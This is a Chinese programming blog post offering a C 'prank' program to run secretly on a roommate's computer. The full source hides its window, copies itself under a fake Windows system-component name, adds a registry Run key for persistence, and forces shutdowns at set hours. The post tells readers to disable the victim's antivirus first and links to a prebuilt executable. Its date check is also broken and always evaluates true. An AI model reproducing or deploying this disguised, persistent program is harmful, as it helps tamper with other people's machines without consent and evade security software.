C语言定时关机恶搞

2023-11-29 07:10
文章标签 语言 定时 关机 恶搞

本文主要是介绍C语言定时关机恶搞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

程序的功能:

1 :开机自启动关机以后再开机,程序自动在后台运行,到时间自动关机,关机时间可自己设定。

2:窗口是隐藏的,启动的时候没有任何现象,但是在任务管理器能看到

3:全年,非周末时间,早上6点到9点,中午12-2点,晚上10点之后都会自动关机

4:快乐方法:趁你的舍友不注意,使用它的电脑,然后运行该程序,舍友就会快乐起来了。

该程序适合在校大学生的舍友,经常在休息时间打游戏或者看直播并且大喊大叫时使用,效果非常明显,且持续效果久,且不易发现,本人命名为早中晚快乐程序。

控制台窗口隐藏程序:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址

开机自启动程序:

char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); 

代码

#include <stdio.h>
#include<conio.h>
#include <windows.h> //系统头文件
#include <commctrl.h>
#include<time.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址typedef struct Real_time {SYSTEMTIME ti;    //定义变量,存储系统时间 int second;int  minute;int  hour;int Milliseconds;}TIME, * PTIME;void Gettime(TIME* time) //获取系统时间并转化成int格式
{GetLocalTime(&(time->ti));     //获取系统时间time->second= time->ti.wSecond;time->minute=time->ti.wMinute;time->hour=time->ti.wHour;time->Milliseconds = time->ti.wMilliseconds;
}int main()
{srand((unsigned)time(NULL)); //随机种子char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey;  RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);  //打开注册表RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ,          (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); TIME time = { 0,0,0,0 }; //时间while (1){Gettime(&time);  //月份和日的判断:可以自行更改if ((time.ti.wMonth != 4 && time.ti.wDay != 10) ||(time.ti.wMonth != 4 && time.ti.wDay != 17) ||(time.ti.wMonth != 4 && time.ti.wDay != 24) ||(time.ti.wMonth != 4 && time.ti.wDay !=9)||(time.ti.wMonth != 4 && time.ti.wDay != 16)||(time.ti.wMonth != 4 && time.ti.wDay != 23)||(time.ti.wMonth != 4 && time.ti.wDay != 30)||(time.ti.wMonth != 5 && time.ti.wDay != 1)||(time.ti.wMonth != 5 && time.ti.wDay != 7) ||(time.ti.wMonth != 5 && time.ti.wDay != 14) ||(time.ti.wMonth != 5 && time.ti.wDay != 21) ||(time.ti.wMonth != 5 && time.ti.wDay != 28) ||(time.ti.wMonth != 5 && time.ti.wDay != 8) ||(time.ti.wMonth != 5 && time.ti.wDay != 15) ||(time.ti.wMonth != 5 && time.ti.wDay != 22) ||(time.ti.wMonth != 5 && time.ti.wDay != 29) ||(time.ti.wMonth != 6 && time.ti.wDay != 4) ||(time.ti.wMonth != 6 && time.ti.wDay != 11) ||(time.ti.wMonth != 6 && time.ti.wDay != 18) ||(time.ti.wMonth != 6 && time.ti.wDay != 25) ||(time.ti.wMonth != 6 && time.ti.wDay != 5) ||(time.ti.wMonth != 6 && time.ti.wDay != 12) ||(time.ti.wMonth != 6 && time.ti.wDay != 19) ||(time.ti.wMonth != 6 && time.ti.wDay != 26) ||(time.ti.wMonth != 7 && time.ti.wDay != 2) ||(time.ti.wMonth != 7 && time.ti.wDay != 3) ||(time.ti.wMonth != 7 && time.ti.wDay != 9) ||(time.ti.wMonth != 7 && time.ti.wDay != 10) ||(time.ti.wMonth != 7 && time.ti.wDay != 16) ||(time.ti.wMonth != 7 && time.ti.wDay != 17) ||(time.ti.wMonth != 7 && time.ti.wDay != 23) ||(time.ti.wMonth != 7 && time.ti.wDay != 24) ){if (time.hour >= 22 || (time.hour >= 6 && time.hour <= 9) || time.hour == 12 || time.hour == 13 || time.hour == 14){if (time.minute == 4 ||   //时间的判断time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == 30 ||time.minute == 59) {//关机程序system("shutdown -s -t 50");  //50s -r重启 -s关机exit(0);}}}}return 0;
}

编译时,记得把运行库改成多线程MT,把静态库包含到.exe文件中,否则你舍友的电脑没有安装VS就运行不了。

还有一点需要注意,在你舍友的电脑上运行时,记得先把杀毒软件关掉,否则程序没法加入注册表,没办法实现开机自启动的功能。

假如以上方法在你舍友的电脑上无法运行.exe程序的,还有一个方法:下载一个vcredist_msvc的环境安装包,先在电脑中安装VS的运行环境,再运行我们的快乐程序,运行成功的概率将会大大增加。

假如你没有安装VS,.exe程序我已经为你准备好了,你只需要在对应的电脑点击即可。

链接:https://pan.baidu.com/s/1JHeQJFyG1nwr-76RmP5HRg 
提取码:kgfi

点击之后就会出现

如何关闭程序

按win+R键

输入 regedit 进入注册表

 进入   计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run目录,这里存放的文件都是开机自启动项(当然也可以在这个目录中放入你的.exe文件也会开机自启动)。

 把第二项,网络核心驱动删除,然后重启就行了。

快让你的舍友快乐起来吧!

这篇关于C语言定时关机恶搞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/431913

相关文章

Go语言中nil判断的注意事项(最新推荐)

《Go语言中nil判断的注意事项(最新推荐)》本文给大家介绍Go语言中nil判断的注意事项,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1.接口变量的特殊行为2.nil的合法类型3.nil值的实用行为4.自定义类型与nil5.反射判断nil6.函数返回的

Go语言数据库编程GORM 的基本使用详解

《Go语言数据库编程GORM的基本使用详解》GORM是Go语言流行的ORM框架,封装database/sql,支持自动迁移、关联、事务等,提供CRUD、条件查询、钩子函数、日志等功能,简化数据库操作... 目录一、安装与初始化1. 安装 GORM 及数据库驱动2. 建立数据库连接二、定义模型结构体三、自动迁

Golang如何对cron进行二次封装实现指定时间执行定时任务

《Golang如何对cron进行二次封装实现指定时间执行定时任务》:本文主要介绍Golang如何对cron进行二次封装实现指定时间执行定时任务问题,具有很好的参考价值,希望对大家有所帮助,如有错误... 目录背景cron库下载代码示例【1】结构体定义【2】定时任务开启【3】使用示例【4】控制台输出总结背景

在Golang中实现定时任务的几种高效方法

《在Golang中实现定时任务的几种高效方法》本文将详细介绍在Golang中实现定时任务的几种高效方法,包括time包中的Ticker和Timer、第三方库cron的使用,以及基于channel和go... 目录背景介绍目的和范围预期读者文档结构概述术语表核心概念与联系故事引入核心概念解释核心概念之间的关系

Go语言代码格式化的技巧分享

《Go语言代码格式化的技巧分享》在Go语言的开发过程中,代码格式化是一个看似细微却至关重要的环节,良好的代码格式化不仅能提升代码的可读性,还能促进团队协作,减少因代码风格差异引发的问题,Go在代码格式... 目录一、Go 语言代码格式化的重要性二、Go 语言代码格式化工具:gofmt 与 go fmt(一)

Go语言中泄漏缓冲区的问题解决

《Go语言中泄漏缓冲区的问题解决》缓冲区是一种常见的数据结构,常被用于在不同的并发单元之间传递数据,然而,若缓冲区使用不当,就可能引发泄漏缓冲区问题,本文就来介绍一下问题的解决,感兴趣的可以了解一下... 目录引言泄漏缓冲区的基本概念代码示例:泄漏缓冲区的产生项目场景:Web 服务器中的请求缓冲场景描述代码

Go语言如何判断两张图片的相似度

《Go语言如何判断两张图片的相似度》这篇文章主要为大家详细介绍了Go语言如何中实现判断两张图片的相似度的两种方法,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 在介绍技术细节前,我们先来看看图片对比在哪些场景下可以用得到:图片去重:自动删除重复图片,为存储空间"瘦身"。想象你是一个

Go语言中Recover机制的使用

《Go语言中Recover机制的使用》Go语言的recover机制通过defer函数捕获panic,实现异常恢复与程序稳定性,具有一定的参考价值,感兴趣的可以了解一下... 目录引言Recover 的基本概念基本代码示例简单的 Recover 示例嵌套函数中的 Recover项目场景中的应用Web 服务器中

Go语言中使用JWT进行身份验证的几种方式

《Go语言中使用JWT进行身份验证的几种方式》本文主要介绍了Go语言中使用JWT进行身份验证的几种方式,包括dgrijalva/jwt-go、golang-jwt/jwt、lestrrat-go/jw... 目录简介1. github.com/dgrijalva/jwt-go安装:使用示例:解释:2. gi

Go 语言中的 Struct Tag 的用法详解

《Go语言中的StructTag的用法详解》在Go语言中,结构体字段标签(StructTag)是一种用于给字段添加元信息(metadata)的机制,常用于序列化(如JSON、XML)、ORM映... 目录一、结构体标签的基本语法二、json:"token"的具体含义三、常见的标签格式变体四、使用示例五、使用